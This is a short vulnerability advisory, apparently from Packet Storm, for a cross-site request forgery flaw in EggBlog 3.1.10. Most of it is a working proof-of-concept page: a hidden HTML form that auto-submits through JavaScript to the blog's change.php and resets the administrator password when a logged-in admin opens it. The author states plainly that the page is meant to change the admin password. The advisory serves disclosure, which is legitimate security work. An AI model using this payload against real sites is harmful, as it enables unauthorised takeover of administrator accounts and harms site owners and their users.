EggBlog version 3.1.10 suffers from a cross site request forgery vulnerability that allows for the changing of the administrative password.
1eef4418b0bbf732e473784b18a945660442fe5758037b2e066ba9a28dea210e| |
| Project: EggBlog v 3.1.10 |
| Author: x0r |
| Email: andry2000[at]hotmail[dot]it |
|________________________________________________________________________|
Code:
<html>
<title>x0r :P </title>
<form id="forum-form" name="forumform"
method="post" action="https://[site]/[path]/change.php">
<input type="hidden"
size="30" id="forumpassword" name="password" />
<input type="hidden"
name="submit" value="Submit" />
<script>document.forumform.submit()</script>
</form>
</HTML>
With this csrf you can change the admin pass ^ ^
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed